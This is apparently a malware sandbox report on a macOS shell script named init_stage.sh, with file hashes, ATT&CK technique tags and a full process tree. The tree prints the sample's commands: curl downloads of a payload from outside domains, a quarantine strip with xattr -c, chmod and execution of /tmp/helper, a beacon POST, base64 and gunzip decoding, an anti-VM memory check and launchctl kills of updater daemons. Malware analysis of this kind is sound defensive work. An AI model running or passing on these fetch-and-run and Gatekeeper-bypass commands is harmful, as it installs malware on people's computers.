e497023a7bc7e334d1f457d32761407df71bdc15c4be46a7927c0c0271112cc1

Analysis

user interaction
yes
max time kernel
138s
max time network
162s
platform
macos-10.15_amd64
resource
macos-20250619-en
resource tags

arch:amd64arch:i386image:macos-20250619-enkernel:19b77alocale:en-usos:macos-10.15-amd64system
submitted
07/08/2026, 02:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
init_stage.sh
Size 171B
Sample260807-c87pjseq4z
SHA256 e497023a7bc7e334d1f457d32761407df71bdc15c4be46a7927c0c0271112cc1
MD5 77a755dd2d9b9b4b996c5f23ae842d9b
SHA1 0a9bc70cd80657f3771bfe97437eba79fc1f536e
SHA512 43bc476c11144336a3330069744c1b5916a3fc1733496a5e347eb6e4f069e53fe420f3b109f7157e20472b45240053a72650c08e476f74c6f896a30e4217cc8f
TLSH
T13BC0C00070483F6B0057C1301714CFA83244483D4F38F3480202123F68651372381CB1
MD5 SHA1 SHA512 TLSH

Score

8^/10

defense_evasion execution

Malware Config

Signatures

Identifies memory size as anti-VM 1 IoCs

ioc	Process
sysctl -n hw.memsize	Process not Found

File Permission 1 TTPs
Adversaries may modify file permissions/attributes to evade access control lists (ACLs) and access protected files.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002
Gatekeeper Bypass 1 TTPs
Adversaries may modify file attributes and subvert Gatekeeper functionality to evade user prompts and execute untrusted programs. Gatekeeper is a set of technologies that act as layer of Apples security model to ensure only trusted applications are executed on a host.
defense_evasion

Gatekeeper Bypass
T1553.001
Command and Scripting Interpreter 1 TTPs
Adversaries may abuse Unix shell commands and scripts for execution.
execution

Unix Shell
T1059.004

/bin/sh
sh -c "sudo /bin/zsh -c \"/Users/run/init_stage.sh\""
1⤵
PID:475

/bin/bash
sh -c "sudo /bin/zsh -c \"/Users/run/init_stage.sh\""
1⤵
PID:475

/usr/bin/sudo
sudo /bin/zsh -c /Users/run/init_stage.sh
1⤵
PID:475
- /bin/zsh
  /bin/zsh -c /Users/run/init_stage.sh
  2⤵
  PID:478
- /Users/run/init_stage.sh
  /Users/run/init_stage.sh
  2⤵
  PID:478
- /bin/sh
  sh /Users/run/init_stage.sh
  2⤵
  PID:478
- /bin/bash
  sh /Users/run/init_stage.sh
  2⤵
  PID:478
- - /bin/zsh
    zsh
    3⤵
    PID:480
  - - /usr/bin/uname
      uname -s
      4⤵
      PID:487
  - - /bin/cat
      cat
      4⤵
      PID:488
  - - /usr/bin/uname
      uname -s
      4⤵
      PID:492
  - - /bin/date
      date "+%s"
      4⤵
      PID:497
  - - /usr/bin/curl
      curl -o /tmp/helper https://shelter19.com/2kqYRM0DCrnyJgoS4gVLl_FHJRRdTUhGCbjyuYwpZ6c/m3/update
      4⤵
      PID:505
  - - /usr/bin/curl
      curl -fsS -4 --connect-timeout 5 --max-time 10 -X POST -H "user: AgLrfvg5Kp92sQONYor_NHviR9Da_cm1UNSqqQA-aH1JsKHyJqi7" -H "BuildID: AgI620Mx0Z_Y3LpGpLTQshVLKUxB9_qnkhZazlrJrvY" "https://grove-89.com/api/metrics/run?event=pasted"
      4⤵
      PID:500
  - - /usr/bin/xattr
      xattr -c /tmp/helper
      4⤵
      PID:552
  - - /bin/chmod
      chmod +x /tmp/helper
      4⤵
      PID:553
  - - /tmp/helper
      /tmp/helper
      4⤵
      PID:554
- - /usr/bin/curl
    curl -s https://shelter19.com/curl/b8f2cf07adc5bc61e046c9ea2309005d0aed9cd7d17e441fb8cbde839ca69501
    3⤵
    PID:479

/usr/bin/openssl
openssl base64 -d -A
1⤵
PID:483

/usr/bin/openssl
openssl base64 -d
1⤵
PID:490

/usr/bin/gunzip
gunzip
1⤵
PID:491

/usr/sbin/sysctl
sysctl -n hw.memsize
1⤵
PID:495

/usr/libexec/xpcproxy
xpcproxy com.apple.audio.AudioComponentRegistrar
1⤵
PID:525

/System/Library/Frameworks/AudioToolbox.framework/AudioComponentRegistrar
/System/Library/Frameworks/AudioToolbox.framework/AudioComponentRegistrar -daemon
1⤵
PID:525

/bin/launchctl
/bin/launchctl kill SIGTERM system/com.microsoft.OneDriveUpdaterDaemon
1⤵
PID:538

/bin/launchctl
/bin/launchctl kill SIGTERM system/com.microsoft.OneDriveStandaloneUpdaterDaemon
1⤵
PID:539

/usr/libexec/xpcproxy
xpcproxy com.apple.corespotlightservice.725FD30A-6064-6C02-CC51-5DDB8891B57E
1⤵
PID:555

/System/Library/Frameworks/CoreSpotlight.framework/CoreSpotlightService
/System/Library/Frameworks/CoreSpotlight.framework/CoreSpotlightService
1⤵
PID:555

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Unix Shell

T1059.004

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Subvert Trust Controls

T1553

Gatekeeper Bypass

T1553.001

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

helper

Path /tmp/helper
Size 323KB
SHA256 734316954e1142c9bb74e06a4caabb2b9876b27ef37952bfd494a548e11687ad
MD5 e7c9ccaf60940d630f2f71d973344259
SHA1 b47bdc2192e331baa3c0b1d73e275936f31092cc
SHA512 5ecde7ca2412f65a5f422520403fcadf0161e5051ec17d60bb18739f04b74ef396642524691e45230e2dad6f9a5dd895b17eb807aa10055b35de78b768f7798d
SSDEEP 6144:SRzicJvkICNtcfMyzWlCVsOVoQ0iEKXzkZIjv5QcqiEKXJyZIjv5:SRzicJvkIJL9kZIN1nyZIl
TLSH
T1DC64BE15F52E90F6C5509E38F8B24BC251FEBE54A5AC9FBE17209D010CDB107B90BA2B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download